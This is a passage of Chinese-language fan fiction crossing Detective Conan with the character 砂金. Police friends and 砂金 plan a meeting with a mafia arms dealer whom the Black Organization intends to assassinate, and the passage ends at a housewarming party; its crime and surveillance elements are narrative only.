“比如趁我上班,一个人偷偷溜出去做一些……危险的事,回来为了不让我发现、还拿吹风机暖被窝,假装自己没出过门。”说到这个,伊达航现在觉得还挺好笑的。 “咦~好幼稚,”松田阵平吐槽,“这种小把戏,我小学的时候就不用了!” 萩原研二揭底,“难道不是因为小阵平在小学的时候,就把家里的吹风机拆坏了吗?” 松田阵平皮笑肉不笑地捏捏拳头,“我揍你哦,hagi?” 萩原研二赔笑着举手投降,“班长,你继续……” “继续继续,”伊达航摆摆手,让两个活宝幼驯染也乖一点,“其他的,我也不怎么方便说,和之前告诉你们的有关……砂金他和降谷那边有些联系,” “我能猜到的就只能是那种……线人?或者是特殊的合作人?我也不算是很清楚。”其他的安室透没说,伊达航就知道那些是不能再外传的了。 所以伊达航才让两位同期和砂金保持正常人之间的关系就足够了。 “等到今天和你们旁观了一场,我才更直观的了解、砂金为什么能当这个特殊的线人了。” 之前光凭安室透的口头简述,真的很难具体形象的立树起砂金的另一面。而现在看来,伊达航不得不承认,砂金对世界另一面的适应性、确实比和平安全的这一面要高。 萩原研二:“所以,你现在除了心情复杂之外,还有什么感觉吗?” “放心放心,”萩原研二揽着臭着张脸的松田阵平,“ hagi酱和小阵平都在这呢,不管班长大人怎么伤心,我们都会努力安慰好我们的班长大人哒~” “谈不上伤心,”伊达航对戏多的萩原研二哭笑不得,“你们又不是不知道我老爸那事,我怎么也不至于死板到接受不了砂金的那种地步……” 伊达航以前是个很正直的人,正直到无法理解自己那身为警察的老爸却向罪犯下跪、最后辞职的行为,为此耿耿于怀了很多年。 后来直到上了警校,遇到了和当年的老爸差不多的情景之时,伊达航才意识到父亲当时为什么会那么做——和民众的安全相比,警察的面子和尊严…… 一文不值。 世界不是非黑即白的,也没有完美无缺的好人,所以伊达航并不会因为砂金那沾着些灰色地带的身份而抱有什么偏见,他只会以事实行事。 就像和萩原研二他们说过的那样,有罪证那当然该抓就抓,这是警察的职责,反之……伊达航也不会疑邻盗斧。 更何况,以伊达航现在的所知及观察来看,砂金又没做过什么坏事, 现在破获的那么多起案件背后,少不了砂金和安室透他们的暗中协助和努力付出,伊达航不是那种受了别人帮助、还要因一些凭空猜想而心存成见的人, 那样不叫“正直”,而是“傲慢”。 “如果……我只是提出一个假设,”被松田阵平嫌弃地推开的萩原研二问道,“一个最坏的可能,要是他果真罪大恶极呢?” 没人希望有最坏的可能发生,但又不得不做好准备,所以萩原研二只能主动来当这个恶人。 幽紫色的眸子格外认真的注意着伊达航,“你明白我想问的是什么,班长。” 萩原研二知道伊达航肯定不会因为私情而包庇罪犯,他只是想知道班长最后会怎么处理自己的感情……他并不想看到挚友因为一个不值当的人而受到伤害、从此一蹶不振。 “不管之后怎么样……” …… “班长说,不管之后如何,”萩原研二交叉起双手放于面前,决定将伊达航的信任完整地交到砂金这里,“他愿意相信你失忆的这段时间里都是真心的,” 不仅像是松田阵平说的那样,假设砂金果真罪大恶极、罄竹难书,伊达航会亲自断案、亲自抓捕,旁听审判、为其送行, 伊达航甚至会记得为其安葬扫墓。 “要是有那么一天……抓捕你是他的职责,更不幸还有了为你扫墓的机会、那班长他也不会否认你们之间的这段相处,就算你会成为他此生中最大的污点也一样。” “班长他说,监管者与被监管者的身份还是太生疏了,”萩原研二转述道,“现在看来,他认为他和你……” 监护人的身份早就可以抛弃了,伊达航现在找到了更适合他们之间的关系, “已经是有些特殊的朋友了。” 第83章 朋友……? 从萩原研二开始说出第一字开始,就越跳越快、一直跳个不停的心脏……此时随着萩原研二的彻底开牌,有了安静下来的趋势,这真是一场, 刺激的“豪赌”! 赌的是什么,赢的是什么……砂金其实都不太清楚,但是、砂金不动声色地瞌了下眼,将紧紧注视着萩原研二的目光收回, 只要赢了就好,他一直在赢、所以好像并没有什么特殊的——只不过,此时的愉悦好像比得过赢下任何一场要命的赌约而已。 见砂金状态似乎稳定了下来,萩原研二歪了下头, “你问过了,接下来是不是该轮到我了?” 谈及伊达航和砂金的关系这一点实为题外话,抛开这个小小的“巧合”不提,萩原研二和砂金原本便是为了另一个“原因”而来的, 现在该聊回到正题上来了。 “节省时间,我直说好了,”萩原研二单手撑了撑下巴,“你找上我……又是为了什么,” “hagi酱虽然知道自己长得好看,但也没到人人喜欢、谁见了都忍不住上来乐于助人的那种地步吧?” “……哪里的话,朋友, 你完全可以再自信一点,”砂金回神,嘴边习惯性地勾上不变的笑容, “当然、那我也就直说了,” 事已至此,没有什么需要再迂回的必要了。 “你……” 砂金起身,轻伏在桌面上向萩原研二探过身去,最后确认起那道似有似无的熟悉气息,手指轻点到了萩原研二的胸膛上方,“拿走了一件对我而言十分重要的东西。” 如同他生命般重要的基石。 …… “ hagi ,”松田阵平莫名其妙地抬头,“他这是在和你表白吗?” 萩原研二:“噗!” 砂金:“……” 砂金的表情这一刻终于消失了,前面那么大的情绪波动都能完美控制着不出错的砂金,在这一刻不想再费力掩饰那震耳欲聋的无语了, 不是掩饰不了,而是砂金觉得没有掩饰的必要了。 “他一直这么不懂气氛吗?”砂金在问萩原研二。 “小阵平是不是很可爱……嗷?!”萩原研二捂住被肘击的肚子,趴在了桌子上,“给hagi…留点面子啊、小阵平……” 松田阵平:“切。” 他明明就没有用力! …… 真是……角落里,安室透神色不明地看着那边不知道在聊些什么的三个人,长长叹了口气, 这种奇怪又熟悉的心情,有种梦回警校时期的感觉了呢。 —————————— “……明白,只是我这里还要再等一段时间,” 某家高档酒店的总统套房内,原本被打理整齐、用来待客的床铺上一片狼藉,到处丢着撕碎的破布衣裳、用过的纸巾、还有不可明说的液体污渍…… 裸着精壮上身的白人男性咬着烟,操着一口本土的意大利语和电话另一端的人说着这边情况,“可不是倒霉吗,这边正在严抓严打、多少也得给上面坐阵的人一点面子,行事有些不太方便……” 男人正是被松田阵平几人还有砂金、组织三方盯上的那位黑手党头目、埃多阿尔多.鲁索。 孔雀引发的雪崩出乎意料的声势浩大且影响颇深,导致不少黑灰交易的被迫暂停,谁非要出头、恐怕就会和D一样赚到好处的同时也损失严重,弄不好就得赔进去不少, 因此,敢于冒着这种风险的人还是少数。 “不过嘛,” 埃多阿尔多.鲁索弹了弹烟灰,随意抓起丢在地上的毛巾去了浴室,“这也不算全是坏事。” 但埃多阿尔多.鲁索不是畏手畏脚的那些人之一,他背后的势力给了埃多阿尔多.鲁索大胆行事的底气。 当别的商家都不敢开门营业、只有你一个人手上有货可出售时……该怎么选择已经不需要多思考了。 议价时,埃多阿尔多.鲁索哼着小调、晃着酒杯,在众议事人恨不得杀人、又必须憋下去的怒火中将货价又提高了一截, 坐地起价? 那又怎样? 现在环境就是这样,风险大、要价高,这很正常不对吗?当然也有不起价的,但那些供应商他们现在敢顶着风头卖货吗? 要是嫌贵那就不买喽,反正有的是人不得不买,不然自己嫌贵没买、没能补充消耗掉的火力武器,死对头那边咬咬牙买了、补充到位了怎么办? 所以埃多阿尔多.鲁索他不愁他卖不出去——别指望混黑的商家有多道德,不落井下石都算埃多阿尔多.鲁索看在以后还要长期合作的份上、有那么一点良心的了。 “不聊了,等我带着大把大把的钞票回去再请你喝一杯……” 嘀嘀、电话被挂断,淋淋洒洒的水声从浴室里响起……放下电话的埃多阿尔多.鲁索没注意到,手机息屏前、话筒显示微微闪了一下。 …… 毫无疑问,埃多阿尔多.鲁索此次趁火打劫的举动一样惹怒了组织,组织低调得太久了、已经有不长眼的家伙都敢上来踩一脚了。 急性子、还有点暴脾气的朗姆怎么想的暂且不提, 情绪一向稳定的琴酒倒是真的被激出了难得的火气, 因为琴酒不仅是国内总部的负责人之一,他还是行动组的最高级负责人,埃多阿尔多.鲁索哪来的胆子、竟然还敢卡他的弹药供给? ! 埃多阿尔多.鲁索此举和直接打琴酒的脸没有什么两样,而且打一下还不够、他直接啪啪连着打了两巴掌。 如果让埃多阿尔多.鲁索在坑了组织一把后仍然完好无损的从国内离开、回到黑手党那边的话,那别说琴酒,连组织面子都不用要了, 但双方也是长久的交易伙伴,不好直接撕破脸皮,信奉隐秘的组织也不打算将事闹得太大。 所以组织上层最终做出了决策——暗杀埃多阿尔多.鲁索。 此决策最初由琴酒提出,经朗姆和那位先生审批后通过,并交由朗姆和琴酒共同负责执行。 不好和埃多阿尔多.鲁索背后的黑手党结仇,那只要别留下任何可以指认组织的线索、直接暗杀掉埃多阿尔多.鲁索就好了,不是吗? 这样既能给敢踩组织一脚的埃多阿尔多.鲁索教训、警告埃多阿尔多.鲁索背后蠢蠢欲动的势力,又不会留下把柄、彻底地得罪那边的黑手党, 就算黑手党猜到了是组织杀的人、本就理亏的他们也没有理由对组织发作。 当然,埃多阿尔多.鲁索并不是傻子、他也知道自己接下来肯定会遇到危险,不过从埃多阿尔多.鲁索喜欢流连赌场就能看出来, 他同样是个赌徒, 赌输了,那就把命搭进去,黑手党那边不可能为他这个“破坏了规矩”、“死得活该”的死人复仇, 说不定还会把此次涨价的锅全归为他的“自作主张”——哪怕涨价前他已经和教父请示过、并在对方的默许之下才如此行事, 但就和黑手党借他之手、试探组织等本土势力的底线,那些本土势力明知道他背后必有人暗中支持、可为了不在明面上闹得太僵,也只会找他一个人的麻烦一样, 黑手党也不会为了他埃多阿尔多.鲁索一个死人而去得罪别的组织。 所有的风险都在埃多阿尔多.鲁索这只“替罪羊”的身上, 可一旦埃多阿尔多.鲁索赌赢了……只要他能在得罪了那么多本土势力后、依旧活着回到意大利,那他给黑手党带回的就是巨额的金钱、越发壮大的名气、和无法估量的影响, 埃多阿尔多.鲁索的地位也必将因为他的此番贡献而更上一步! 而埃多阿尔多.鲁索是个警惕的赌徒,他周身的防卫严密得可怕,琴酒暂时没找到合适的下手时机, 也就是在这样微妙的情况下,砂金出现了。 瞅,一个和组织没有任何关系的“外人”,这可不就是暗杀埃多阿尔多.鲁索的“最佳人选”吗? 唯一让朗姆觉得遗憾的便是,若砂金果真拿下了埃多阿尔多.鲁索,那他必然不可能将杀死埃多阿尔多.鲁索的“凶手”吸纳进组织了, 不然就是明晃晃地反打黑手党那边的脸,不利于双方日后的生意往来。 因此,那日砂金和朗姆定下的赌约……便是埃多阿尔多.鲁索的生死。 埃多阿尔多.鲁索生,那砂金要么死、要么归于组织苟且偷生; 埃多阿尔多.鲁索死,那砂金依旧是“自由身”,不过组织也不会为砂金提供任何的保护、砂金需要自己面对可能来自黑手党那边的报复。 同意赌局的朗姆打得主意便是不管埃多阿尔多.鲁索如何,他总是不吃亏的那一个,说不准以后砂金还要主动投靠组织以谋生路呢。 至于好像并没有落到什么好处的砂金…… “赌局本身就是我想要的,不论输赢,”砂金高高举起酒杯、对摄像头后的朗姆笑道, “我只享受骰子抛出、筹码尽出的那一刻未知。” 第84章 总而言之, 言而总之, 这个情况下,埃多阿尔多.鲁索不死一下就很没有礼貌了。 [所以…大家一定要挤在一起……呃, 偷听吗? ] 经过变声器处理后——安室透的安全防范课还是有点用的——不分性别的机器声依旧听起来语气弱弱的, 八木海犹犹豫豫地开了腔, 此时此刻, 砂金的房子里……挤满了人。 萩原研二和松田阵平肩靠肩的盘腿坐在造价高昂、柔软舒适的地毯上,砂金也席地而坐、坐在两位幼驯染的对面,砂金的一左一右则是咬着牙签的伊达航、还有警惕心爆炸想要躲起来的236 , “不要往我的床底下钻, 你不是见不得陌生人的猫。” 砂金心神疲惫地抓住236的手腕, 制止236好像下一秒就能窜出去的冲动, 结果拦下了236,那头伊达航的视线就投了过来。 “他确实不是猫, ”伊达航目光沉沉, “猫可不会上警视厅的通缉令。” 砂金:“……” 真算起来,伊达航才是猫吧——通缉犯和警察之间可不就是老鼠和猫的关系。 除去236和伊达航的特殊关系外,被几人团团围住的平板里还有技术人员八木海、以及默不作声的安室透在线旁听,可谓是好不热闹了。 一、二、三……七,整整七个人都在八木海的“帮助”下偷听着埃多阿尔多.鲁索洗澡,不怪八木海在此刻发出了疑问, 监视埃多阿尔多.鲁索的动向,真的需要这么多人吗? “咳咳,”砂金开始转移话题,“总之目前看来, 埃多阿尔多.鲁索没有马上离开国内的打算,我们还有时间。” 事情为什么会发展到现在这个样子的呢? 砂金也不清楚。 那天砂金说他要砂金石,那天萩原研二问是什么样的砂金石,砂金一比划、萩原研二顿时想起来那半块还被他放在床头柜上、当作“生还纪念品”的石头了, 于是萩原研二爽快答应了砂金,保证等会儿就亲自送到砂金家里去。 萩原研二甚至没有问砂金怎么知道他七年前捡到过这样半块石头的,没有问这石头有何特殊之处,也没问砂金的石头为什么会出现在七年前的那种场合下、又为什么要找它…… 人,总是会有自己的一些秘密的。 萩原研二只是想到了——砂金这么熟悉赌场,说不准对好赌的埃多阿尔多.鲁索也有些了解,顺便就问了一声, “你知道埃多阿尔多.鲁索吗?” 砂金:“……你们去赌场,是为了找他?” “是啊,”萩原研二耸肩,抱着试一试、没有收获也不亏的态度说道,“有点嗯……私事想找他问一问,能抓捕到案就更好了。” “这……伊达警官知道你们想……”砂金才问了一半,又改口,“噢,他肯定知道。” 萩原研二找伊达航说过自己的事,那伊达航肯定会问好友为什么要去那种地方。 果然,不愧是伊达警官啊……认识的人都不是什么“善茬”。 轻松推测出经过的砂金坐回椅子上,品了口咖啡缓了缓短时间内大起大落的情绪,便道,“朋友,该说不说、你这个问题……问得还挺恰巧的。” 比萩原研二还要关心那个犯人的松田阵平眼前一亮,“你知道些什么?” “嗯,知道的也不算很多,”砂金点点头,“就是你们再晚个半月左右问我的话,世界上大概就没有这个人了。” 组织,是肯定要让埃多阿尔多.鲁索死的——再晚上一段时间,那萩原研二和松田阵平就得想办法试一下在这个世界里,通灵术管不管用了。 …… 后面嘛……一听砂金好像知道不少东西,萩原研二开着车、松田阵平冲进两人合租的公寓里捞上砂金要的砂金石和之前两个人为“大侄子”买的见面礼, 一秒没耽误的就冲到了砂金家门口,来了个热情的“好友拜访”。 “你看我们都是朋友了,别客气别客气~” 萩原研二拎着大包小包的东西是一点没见外,松田阵平扛着路上买来的各种伴手礼,硬是把送礼送出了塞炸/弹、你不收就炸死你的气势。 /热苏打贩卖机 原本还在等基石上门的砂金都没想到两个人的动作能这么快,连砂金自己都是刚到家没一会儿,猝不及防之下, 松田阵平和萩原研二两个警察……与正扎着围裙、拿着抹布做卫生,试图把客厅地板擦成镜子的236撞了个正着。 不愧是班长家的崽啊……萩原研二眨眨眼,通缉犯都能上门当女仆,一点都不像是个“善茬”。 “不用担心,老师……”236也眨眨眼,放下抹布、掏出武器,“地板我会重新擦干净的。” “安静,”砂金头痛地曲起手指敲了一下236的脑袋,真想听听236脑壳里是不是空的,“这两位……是我的朋友,懂了吗?” 236摸摸被敲的地方,点了点头,收拾了下东西,在松田阵平震惊、萩原研二一言难尽的表情下,起身就要往柜子里钻, 那利落的动作、自然的神色、坦然入柜的从容……一看就像是“身经百战”的老手了。 没办法,神明大人总喜欢交一些警官朋友,236很贴心地准备躲一躲,就和上次躲伊达航一样, 他委屈一点没关系,老师开心最重要。 “你给我回来——!” 正经人谁没事就往柜子里钻啊! 重点是,而且现在躲也来不及了! 两位警官先生同步投来的“没想到你还是这种人”的目光,让砂金声音差点没控制住破音, 琥珀王啊,236是您看他这几天过的太舒服了、怕他会乐不思蜀,专门送来给他添乱的吗? ! 一阵“兵慌马乱”过后, 236顶着砂金实在没忍住敲在脑门上的两个包,乖乖巧巧地坐在了一边。 他真是大错特错,砂金想,236哪里像特里纳了?至少特里纳比他多了个脑子。 236在松田阵平他们眼前过了个明路,相当于也在伊达航那“扬名”了,所以, 就有了现在的这一幕。 第85章 “现在只是权宜之策, ”伊达航警告的目光投向236,“等埃多阿尔多.鲁索之事事了,我们再慢慢算点别的账。” 藏了个降谷也就算了,藏个通缉犯在家算什么事,是生怕自己不会走上歪路吗? 236紧绷着一张脸:“老师,他讨厌我。” “你少说两句吧, ”砂金捂脸, 找他告状有用吗? 当然没用啊! 他也有点怵伊达航的说…… “小阵平快看, ”萩原研二小声嘀咕,“是食物链!” 松田阵平憋笑中, “小点声, 让班长听见了, 我们俩都要完蛋……” “我已经听到了,”如炬的目光投向同样不省心、正在偷笑的两位双子星身上, 伊达航很费解, “萩原,还有松田……你们觉得自己最近就很老实吗?” 松田阵平:“hagi笑的,我没笑。” 萩原研二:“我在哭,哭得开心了一点而已。” 砂金:“……”现在该轮到他笑了吗? 平板里的安室透:……还好我没说话。 哪怕已经毕业了七年,班长在其他几个人心中依旧“威严”尤存——这就是带领着几个刺头、打扫了半个学期警校澡堂而积攒下来的绝对话语权。 [我…我我……嘤、对不起! ]八木海也不知道自己在道歉什么,但是、但是这个留着胡茬的警察真的看起来好凶, [就是…那个还要继续吗…… ] 埃多阿尔多.鲁索已经冲完澡, 起身换衣准备离开宾馆了。 “群织,”为了在伊达航面前留点底子、也因为一些保密协议,砂金叫的是八木海还有安室透的代号, “你和蜂鸟继续监视目标好了,有特殊情况再通知我。” 八木海分辩不出来什么是“特殊情况” ,但还有安室透在,监控这方面应该不用砂金再上心了。 [okk!那我先下线了。 ] 八木海溜得飞快,平板上代表八木海的小鸟图标和埃多阿尔多.鲁索那边的监控一同消失,只剩下了小巧的黄色蜂鸟图型霸占了整个屏幕, 安室透还没下线,只是默默地表达了想要继续旁听的意愿。 “嗯,这位是蜂鸟,”砂金向其他人介绍起安室透,“也是公安那边的,可以信任。” 至少比236这个通缉犯要更能让人接受一些,伊达航几人没再说什么。 “好了,”砂金现在得和屋里头的各位商量一下之后的行动了,“朋友们,先说说看你们各自的想法吧?” 砂金虽然总说着什么赌徒不需要计划之类十分狂妄自大的话,但行动前彻夜研究资料报告的人也是他,所以砂金并不是那种干什么都只会一根筋硬莽的蠢货。 砂金:“你们说,我和236来进行查漏补充。” 现在知道最多的,就是236和砂金了——安室透知道的也不少,只是有些情报不方便以“蜂鸟”和“安室透”的身份说出来。 “想法啊,”萩原研二摸着下巴,思考道,“原本没想到进展会这么快的,只是想先找到埃多阿尔多.鲁索的下落、能见到面之后再做打算。” “现在见面可能有点难了,” 砂金道,“你们的消息有点滞后,埃多阿尔多.鲁索是挺喜欢逛赌场的,不过他最近得罪了不少人、诸如赌场妓院那种混乱的场合……他现在怕是不敢去的。” 不是每个赌徒,都能像砂金这样这么不要命的。 松田阵平他们也算运气好,找不到埃多阿尔多.鲁索,却找到了砂金。 松田阵平:“所以有什么办法能让他从乌龟壳子里出来?” “后天,”砂金翻了翻手机里八木海发来的有关埃多阿尔多.鲁索的行程情报,“后天他会和新织组的吉野浩太郎进行商谈……等我一下,” 砂金摆摆手,示意众人安静一下,随后便滑开了通讯录,找到了写着吉野浩太郎名字的号码、打了出去。 开了免提,电话忙音嘀嘀响着…… 没过一会儿,便被吉野浩太郎接通,[喂……砂金? ] 哇哦~萩原研二惊讶地张张嘴,砂金还真能搞到吉野浩太郎的联系方式啊? 知道吉野浩太郎和砂金有过交际的伊达航嘴角抽抽,有一种被吉野浩太郎背后偷猫了的古怪感。 “是我,好久不见啊、朋友,”砂金嘴角扬了扬,语气轻快地好像真的只是在随口问好而已,“近来如何?生意可都还好做?” [在接到你的电话之前,一切都还好。 ] 吉野浩太郎还是一幅很好说话的沉稳态度,他说的倒也是实话,几次有人闹事……好像都和砂金有点关系。 “看朋友这话说的,”砂金很快进入正题,闲聊间不知道从哪里摸出来的筹码习惯性的在指间翻滚着,“对了,听说你和埃多阿尔多.鲁索近日会有一次商业洽谈?” [你的消息倒是灵通……稍等,] 只听吉野浩太郎挥退了下属,咔嚓一声火机声响后,继续道, [说说看吧,你又想做什么了? ] 有得聊!松田阵平是不怎么在意“警察”和“极道”之间的矛盾的,一听到吉野浩太郎这有些暗示性的说法,顿时更全神贯注了, 伊达航心情再次复杂起来,但还是什么也没说。 没事,伊达航想到,吉野浩太郎在极道中也算是亲近警方的那一派系,危险不算特别特别特别……大。 “我一个手无寸铁的小小市民能做什么,”真做了什么也不能当着伊达航的面承认,砂金镇定自若,“只是……他最近干的事,想必朋友你也有所耳闻吧?” 提价……肯定不会只提一部分人的,吉野浩太郎他们这些上层的管理者之间也都有各自的交情, 吉野浩太郎知道过几日的洽谈上,埃多阿尔多.鲁索一定也会向他提出将会涨价的要求。 要搞“杀熟”那小气家家的一套、不仅会落自己人的面子,埃多阿尔多.鲁索本人都只会死得更快,真能平安回到意大利、也绝落不到什么“好名声”, 所以不如“平等”对待所有人。 [是有耳闻,]吉野浩太郎应声,[所以你看不惯了,准备整顿一下市场? ] “市场存在的本身、代表的就是利益与扩张,”砂金轻轻摇了摇头,否定道,“没什么看得惯、看不惯的,换了是我坐在他那个位置上,我也会做出一样……哦、不,或者是更刺激一点的选择,” “比如提前压价收购同行的货品什么的。” 埃多阿尔多.鲁索的行动在砂金看来,还是太保守了,做的也不够绝——趁着同行人的生意都不好做、大量压价采购再转手高价卖出,彻彻底底地来上一场“市场垄断”,岂不是赚得更多? “要是有人想要闹事也好办,”砂金随口说得就是想让别人和自己一起去死的话,“许诺给率先同意我涨价的人一点点好处,风险分摊,” “要不一起压榨别人、要不被别人压榨掉最后一点价值……我相信聪明人都会进行正确的选择。” 萩原研二的视线从翻飞的筹码上、移到了砂金身上…… 这位是真的资本家啊! [主打一个,要钱不要命? ] 这仇恨绝对是拉得满满的,要是分担风险的人反个水、砂金的处境可就不好说了。 “左右都已经在赌命了,为什么不再大胆一点、 all in一下?” 有道理,但……松田阵平沉默,好像都是歪理,他差点就被说服了。 [还好你不是他, ]吉野浩太郎最后只能这么说, [那你是想? ] “这不就是因为我不是他嘛,”砂金嗯了一声,“赚别人的钱当然令人开心,但来坑我的钱……朋友,有这个闲钱、我拿去喂账账……” “咳,拿去喂猪不好吗,为什么非要给自己养个敌人出来呢?” [看来他得罪到你了。 ] “赌个命而已,算不得什么大事,”砂金指尖抛起筹码、又接住,“但非要和我一起赌、还畏畏缩缩的不愿意上这赌桌,朋友……不是我说,” “他这事做的,可真是一点都不够漂亮。” 既然赌上命了,那就大大方方一点,躲着不出来这算是什么?砂金他可不会做这种没品的事。 [所以,你想让我让出这张桌子? ] 吉野浩太郎作为一个大型极道组织的二把手、那可是一点水份都没掺的,联系到砂金开头提到的他近日会和埃多阿尔多.鲁索见面一事、一下便知道了砂金的来意。 [你为什么会觉得我这一次,会选择继续帮你呢? ] 吉野浩太郎不是慈善家,而且之前他已经给过砂金不少“面子”了,按常理来说、聪明点的人都不会选择继续“得寸进尺”。 “因为……” 在周围三双紧张的眼睛的注视下,砂金只是回答道,“你接通了我的电话,不是吗?” 如果一开始在弹珠店里为当时毫无“名气”的砂金站场,只是因为吉野浩太郎他惜才,那之后赌场里的示好、处理“出千”风波、以及事后加上的联系方式…… 都足以说明一点, 世界上没有白吃的午餐,吉野浩太郎就是想要有一天砂金能来找他“帮忙”、欠给他一个“人情”。 [很好, ]吉野浩太郎很满意砂金的敏锐,混迹道上的人际关系只有两种,可以成为“朋友”的人、以及将会成为“敌人”的人,欠下人情、交个朋友, 总比成为敌人要好。 况且,吉野浩太郎也不满埃多阿尔多.鲁索的坐地起价、趁火打劫,有砂金帮忙给对方一个“教训”、还不用脏了自己的手,没有风险、还能让砂金欠个人情给他, 怎么看都全是好处的事,他为什么不答应? [不过,我还不打算直接站到埃多阿尔多.鲁索的对面去,]吉野浩太郎道,[我只能提供给你们一个见面的机会,你那边打算出几个人? ] “已经帮大忙了,朋友。” 砂金很懂,不就是别在“赌场”里闹事嘛,随后又扫了一眼在场的几人,“大概三、四个?不方便可以再商量,剩下的我等你的消息?” [好,那没什么别的事我就先挂了。 ] “嗯,再见了朋友。” 滴滴两声,电话被挂断,砂金冲着几人晃了晃手机,“朋友们,见面的事搞定了。” 236终于发看了自己的看法,他很给面子地鼓了鼓掌,“不愧是老师!” 伊达航:……并不是很想听到这种夸奖。 “但还有个问题,”伊达航蹙眉,“到时候,我们就这样去和埃多阿尔多.鲁索见面?” 要武器没武器,要装备没装备的……和埃多阿尔多.鲁索见面了又能聊什么? 别说他们警察有配枪……厅里发的子弹都是有登记的,什么时候为了什么用了几枚都得写记录,他们没时间去向上级一层一层地打报告写申请,不然也不会进行私下调查了。 而且萩原研二和松田阵平是排弹警,虽说出现在公众面前的机会不多,但也不是就绝无被人认出来的可能, 之前去混迹赌场就已经是在冒很大的风险了,再到吉野浩太郎的地盘上去接触目标、只会更危险。 “再等一下我,”砂金又翻了翻手机,找到了一串没有备注的手机号打了出去,对面几乎是秒接。 [亲爱的,]压低了几分、显得十分勾魂的轻笑先从电话里传了出来,[今天愿意和我一起共进晚餐了吗? ] “烛火佳肴,还有养眼的美人……我差点就要心动了呢。” 但砂金没说应或不应,对方又笑了几声、算是应下了砂金无声的拒绝, [说吧,又有什么事要麻烦我了? ] “上次的那种面具还挺好用的,”砂金点到为止,“还有些别的什么……你看,这不就要和客人会面了吗,不打扮的隆重一点、总感觉会落了我们自己人的面子。” [你倒是不客气, ]贝尔摩德应下,怎么说砂金也是在“帮”组织做事,砂金来找她要援助并不过分,总不能既要马儿跑、又要马儿不吃草吧。 [清单发给我,最迟明晚给你送过去。 ] 又搞定一个问题,砂金看向伊达航,“嗯,还有什么要提前准备的?” 萩原研二和松田阵平齐齐后仰了一下头,砂金的人脉……好恐怖,他手机里到底都有些什么人物啊! 236还在鼓掌——老师就是最厉害的! “还有一件事…”伊达航有些艰难的说着,“我后天要执勤……”那天他可能没有足够的时间参与行动。 “噢,这个啊,”砂金再次点了点头,“这个也好办……” “等下,”伊达航终于还是打断了砂金,“你不会是还有警视厅厅长的联系方式吧?!” “怎么会,”砂金奇怪地歪了歪头,“这种事找蜂鸟不就好了吗,让公安出面从警视厅那边借个人用、应该并不是什么难事吧?” 萩原研二:…… 对啊,萩原研二反思自己,他怎么就忘了这个呢? 松田阵平:…… 为什么……松田阵平疑惑,砂金能把这么离谱的事说的这么自然呢? 伊达航:…… 因为砂金的人脉太“广”了,差点忘了还有降谷的伊达航感觉,孩子还是长大了啊…… 安室透:…… 安室透不想吐槽,他真是上辈子欠了砂金的。 [……知道了,]变了声的安室透默默在平板里开口,[我会找人去安排。 ] 236继续鼓掌——愚蠢的凡人啊, 老师他就是无所不能的! 第86章 事实证明, 只要朋友够多、哪条路都可以走得通。 砂金三两下便搞定了松田阵平几人怎么想都有些难度的麻烦,甚至还多出了不少空闲的时间。 ……我记得我们来的时候,松田阵平看向萩原研二, 是做了辛苦备战的准备了的吧? 萩原研二沉重地点点头, 是这样没错……果然还是得把路走野一点才行吗? 你们两个……伊达航瞪了一眼两个没人拉着点、都得能上天的家伙,收着点、别把职位都野没了! “所以接下来……”砂金把平板上的通讯一挂,再次对安室透使用了用完就丢大法, “闲着也是闲着,正好趁现在人都齐全、把一直没机会办的乔迁派对办了吧!” 伊达航一时有点怀疑自己的耳朵:“什么?” 刚刚还喊打喊杀的,这会就要开派对了?这跨度是不是有点大了? “好的、老师!” 236是举双手双脚赞同砂金的一切决定的,说完就爬起身去找贝尔摩德给他做的易/容/面/具,拜访邻居什么的可不能顶着张通缉犯的脸。 萩原研二对236的行动力叹为观止, “所以我能做点什么呢?” “麻烦朋友去接一下娜塔莉夫人如何?”砂金看了看表,开始编辑邀请短信发送出去, “学校放学, 娜塔莉夫人现在应该已经下班了。” “我跟hagi一起,”松田阵平也起身,“顺便在路上采购些开派对用得上的东西。” 所以你们接受的这么快的吗,伊达航怀疑自己是不是老了、跟不上现在年轻人的节奏了, “那我去厨房看看缺不缺什么食材,等下给你发短信、松田。”伊达航也起身进入了状态,他才29,不到三十呢、还不能服老啊! 松田阵平比了个ok的手势,“收到!” 在场的人都算是行动派,说干就干。砂金也没闲着、主动招呼上了236, “和我一起打包点礼物怎么样?” 砂金买了不少好看漂亮的小玩意堆在家里,甚至专门把一间客房改成了存放采购物品的礼品间, 其中有不少物件连封都没开,正好可以作为拜礼再送出去。 236精神一震,格外响亮地应道,“Il mio piacere!” 荣幸之至! —————————— “砂金先生,乔迁快乐!” “乔迁快乐,小子。” 今天下午砂金家的门就没有再关死,原本清冷的住所现在到处充满了人气,等毛利小五郎带着毛利兰、还有柯南按着邀请时间敲响砂金家房门的时候,砂金已经迎接了好几位客人了。 “谢谢啦,”砂金作为主人迎在门口,“本来应该早一点邀请诸位,只是时间一直不凑巧……还请见谅。” “没什么,”毛利小五郎把手里装着荞麦面的礼物袋递到了砂金手上,“那派对小兰和你们一起就好了,我就不打扰你们年轻人了。” 砂金邀请了所有叫得上名来的朋友,当然……吉野浩太郎和贝尔摩德之类的那些人只是在短信中表达了一下祝贺之意,不打算、也不可能登门拜访。 毛利兰也是砂金的朋友,自然也在受邀人群之中。 随意扫了眼屋里、见到走来走去端盘子的伊达航这个警视厅里的熟人后,毛利小五郎更放心让自家女儿来作客了,顺带抬手拍了拍不高点的小屁孩脑袋。 “这小鬼非闹着要跟来,”毛利小五郎道,“也要多麻烦你了……” 柯南悄悄露出了死鱼眼:……明明他也有收到邀请的好吗! 不管作为砂金的朋友,还是砂金的邻居,他工藤新一来的名正言顺! 还有一个原因便是,柯南不太放心让毛利兰一个人和砂金这样一个好像身怀很多秘密的人来往。 “没关系,多个朋友多份热闹,”砂金微笑把毛利兰和柯南都迎进门,236难得有了眼利见地跟在砂金身边递出一个个打包好的礼物盒。 “这是小小心意,还请以后多多关照!”砂金把礼物给毛利一家一人塞了一个。 这种回礼不需要推托客气,毛利小五郎应了后摆了摆手,“那我走了,小兰……晚上太晚就给我发个短信,我来接你。” “知道了,爸爸。” 毛利兰牵起柯南进门还不忘小声又叮嘱了柯南一声不要乱跑乱动他人家的东西,听得柯南又暗暗记恨起游乐园的那两个黑衣人来,不是他们…… 他也不会变成干什么都不方便的小孩子啊,而且下个礼拜、他堂堂一介高中生名侦探竟然还要重回小学上学! 而柯南他们来的是最迟的,等进了客厅柯南才发现砂金的朋友们里有不少熟悉的人,比如说阿笠博士、还有伊达老师。 阿笠博士在正常,他就住在砂金隔壁,但是伊达老师为什么也在啊? ? ? 